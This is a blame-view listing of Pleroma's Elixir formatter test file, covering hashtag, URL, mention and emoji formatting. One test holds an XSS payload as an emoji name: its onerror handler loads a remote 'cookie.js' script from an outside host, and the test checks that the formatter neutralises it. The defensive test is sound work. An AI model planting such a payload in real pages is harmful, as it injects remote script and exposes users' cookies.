formatter_test.exs 10.5 KB
Newer Older
lain's avatar
lain committed
1
2
defmodule Pleroma.FormatterTest do
  alias Pleroma.Formatter
3
  alias Pleroma.User
lain's avatar
lain committed
4
5
  use Pleroma.DataCase

6
  import Pleroma.Factory
Maksim's avatar
Maksim committed
7

Maksim's avatar
Maksim committed
8
9
10
11
  setup_all do
    Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
    :ok
  end
12

lain's avatar
lain committed
13
14
15
  describe ".add_hashtag_links" do
    test "turns hashtags into links" do
      text = "I love #cofe and #2hu"
lain's avatar
lain committed
16
17

      expected_text =
ValD's avatar
ValD committed
18
        "I love <a data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
lain's avatar
lain committed
19
20

      tags = Formatter.parse_tags(text)
lain's avatar
lain committed
21
22
23

      assert expected_text ==
               Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
lain's avatar
lain committed
24
    end
rinpatch's avatar
rinpatch committed
25
26
27
28
29

    test "does not turn html characters to tags" do
      text = "Fact #3: pleroma does what mastodon't"

      expected_text =
Rin Toshaka's avatar
Rin Toshaka committed
30
        "Fact <a data-tag='3' href='http://localhost:4001/tag/3' rel='tag'>#3</a>: pleroma does what mastodon't"
rinpatch's avatar
rinpatch committed
31
32
33
34
35
36

      tags = Formatter.parse_tags(text)

      assert expected_text ==
               Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
    end
lain's avatar
lain committed
37
38
39
  end

  describe ".add_links" do
lain's avatar
lain committed
40
    test "turning urls into links" do
41
      text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
lain's avatar
lain committed
42

lain's avatar
lain committed
43
      expected =
44
        "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
lain's avatar
lain committed
45
46

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
Roger Braun's avatar
Roger Braun committed
47
48
49

      text = "https://mastodon.social/@lambadalambda"

lain's avatar
lain committed
50
      expected =
51
        "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
lain's avatar
lain committed
52
53

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
Roger Braun's avatar
Roger Braun committed
54

lain's avatar
lain committed
55
56
57
      text = "https://mastodon.social:4000/@lambadalambda"

      expected =
58
        "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
lain's avatar
lain committed
59
60
61

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected

Roger Braun's avatar
Roger Braun committed
62
63
64
      text = "@lambadalambda"
      expected = "@lambadalambda"

lain's avatar
lain committed
65
      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
Roger Braun's avatar
Roger Braun committed
66
67

      text = "http://www.cs.vu.nl/~ast/intel/"
68
      expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
Roger Braun's avatar
Roger Braun committed
69

lain's avatar
lain committed
70
      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
eal's avatar
eal committed
71
72
73

      text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"

lain's avatar
lain committed
74
      expected =
75
        "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
lain's avatar
lain committed
76
77

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
eal's avatar
eal committed
78
79
80

      text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"

lain's avatar
lain committed
81
      expected =
82
        "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
lain's avatar
lain committed
83
84

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
lain's avatar
lain committed
85
86
87
88

      text = "https://www.google.co.jp/search?q=Nasim+Aghdam"

      expected =
89
90
91
92
93
94
95
        "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected

      text = "https://en.wikipedia.org/wiki/Duff's_device"

      expected =
96
        "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
lain's avatar
lain committed
97
98

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
lain's avatar
lain committed
99
100
101
102
103
104
105

      text = "https://pleroma.com https://pleroma.com/sucks"

      expected =
        "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
106
107
108
109
110
111

      text = "xmpp:contact@hacktivis.me"

      expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
112
113
114
115
116
117
118

      text =
        "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"

      expected = "<a href=\"#{text}\">#{text}</a>"

      assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
lain's avatar
lain committed
119
120
121
122
123
    end
  end

  describe "add_user_links" do
    test "gives a replacement for user links" do
href's avatar
href committed
124
      text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
lain's avatar
lain committed
125
      gsimg = insert(:user, %{nickname: "gsimg"})
lain's avatar
lain committed
126
127
128

      archaeme =
        insert(:user, %{
href's avatar
href committed
129
130
          nickname: "archa_eme_",
          info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
lain's avatar
lain committed
131
132
        })

lain's avatar
lain committed
133
134
135
136
137
138
139
      archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})

      mentions = Pleroma.Formatter.parse_mentions(text)

      {subs, text} = Formatter.add_user_links({[], text}, mentions)

      assert length(subs) == 3
lain's avatar
lain committed
140
      Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
lain's avatar
lain committed
141

lain's avatar
lain committed
142
      expected_text =
ValD's avatar
linting    
ValD committed
143
144
        "<span><a data-user='#{gsimg.id}' class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a data-user='#{
          archaeme.id
href's avatar
href committed
145
        }' class='mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span><a data-user='#{
ValD's avatar
linting    
ValD committed
146
147
          archaeme_remote.id
        }' class='mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
lain's avatar
lain committed
148
149

      assert expected_text == Formatter.finalize({subs, text})
lain's avatar
lain committed
150
    end
151

152
153
154
155
156
157
158
159
160
161
162
163
164
    test "gives a replacement for user links when the user is using Osada" do
      mike = User.get_or_fetch("mike@osada.macgirvin.com")

      text = "@mike@osada.macgirvin.com test"

      mentions = Formatter.parse_mentions(text)

      {subs, text} = Formatter.add_user_links({[], text}, mentions)

      assert length(subs) == 1
      Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)

      expected_text =
ValD's avatar
ValD committed
165
        "<span><a data-user='#{mike.id}' class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
166
167
168
169

      assert expected_text == Formatter.finalize({subs, text})
    end

170
171
172
173
174
175
176
177
178
179
180
    test "gives a replacement for single-character local nicknames" do
      text = "@o hi"
      o = insert(:user, %{nickname: "o"})

      mentions = Formatter.parse_mentions(text)

      {subs, text} = Formatter.add_user_links({[], text}, mentions)

      assert length(subs) == 1
      Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)

ValD's avatar
linting    
ValD committed
181
182
183
      expected_text =
        "<span><a data-user='#{o.id}' class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"

184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
      assert expected_text == Formatter.finalize({subs, text})
    end

    test "does not give a replacement for single-character local nicknames who don't exist" do
      text = "@a hi"

      mentions = Formatter.parse_mentions(text)

      {subs, text} = Formatter.add_user_links({[], text}, mentions)

      assert length(subs) == 0
      Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)

      expected_text = "@a hi"
      assert expected_text == Formatter.finalize({subs, text})
    end
lain's avatar
lain committed
200
201
202
203
  end

  describe ".parse_tags" do
    test "parses tags in the text" do
204
      text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
lain's avatar
lain committed
205

lain's avatar
lain committed
206
      expected = [
207
        {"#Test", "test"},
lain's avatar
lain committed
208
209
210
211
212
213
214
215
        {"#working", "working"},
        {"#漢字", "漢字"},
        {"#は", "は"}
      ]

      assert Formatter.parse_tags(text) == expected
    end
  end
216
217

  test "it can parse mentions and return the relevant users" do
Maksim's avatar
Maksim committed
218
219
    text =
      "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
220

Maksim's avatar
Maksim committed
221
222
    o = insert(:user, %{nickname: "o"})
    jimm = insert(:user, %{nickname: "jimm"})
223
224
225
226
227
228
229
    gsimg = insert(:user, %{nickname: "gsimg"})
    archaeme = insert(:user, %{nickname: "archaeme"})
    archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})

    expected_result = [
      {"@gsimg", gsimg},
      {"@archaeme", archaeme},
Maksim's avatar
Maksim committed
230
231
232
      {"@archaeme@archae.me", archaeme_remote},
      {"@o", o},
      {"@jimm", jimm}
233
234
235
236
    ]

    assert Formatter.parse_mentions(text) == expected_result
  end
lain's avatar
lain committed
237
238
239
240

  test "it adds cool emoji" do
    text = "I love :moominmamma:"

lain's avatar
lain committed
241
    expected_result =
kaniini's avatar
kaniini committed
242
      "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
lain's avatar
lain committed
243

lain's avatar
lain committed
244
245
246
    assert Formatter.emojify(text) == expected_result
  end

kaniini's avatar
kaniini committed
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
  test "it does not add XSS emoji" do
    text =
      "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"

    custom_emoji = %{
      "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
        "https://placehold.it/1x1"
    }

    expected_result =
      "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"

    assert Formatter.emojify(text, custom_emoji) == expected_result
  end

lain's avatar
lain committed
262
263
264
265
  test "it returns the emoji used in the text" do
    text = "I love :moominmamma:"

    assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
lain's avatar
lain committed
266
  end
267
268
269
270
271
272
273
274
275
276

  test "it returns a nice empty result when no emojis are present" do
    text = "I love moominamma"
    assert Formatter.get_emoji(text) == []
  end

  test "it doesn't die when text is absent" do
    text = nil
    assert Formatter.get_emoji(text) == []
  end
Maksim's avatar
Maksim committed
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295

  describe "/mentions_escape" do
    test "it returns text with escaped mention names" do
      text = """
      @a_breakin_glass@cybre.space
      (also, little voice inside my head thinking "maybe this will encourage people
      pronouncing it properly instead of saying _raKEWdo_ ")
      """

      escape_text = """
      @a\\_breakin\\_glass@cybre\\.space
      (also, little voice inside my head thinking \"maybe this will encourage people
      pronouncing it properly instead of saying _raKEWdo_ \")
      """

      mentions = [{"@a_breakin_glass@cybre.space", %{}}]
      assert Formatter.mentions_escape(text, mentions) == escape_text
    end
  end
lain's avatar
lain committed
296
end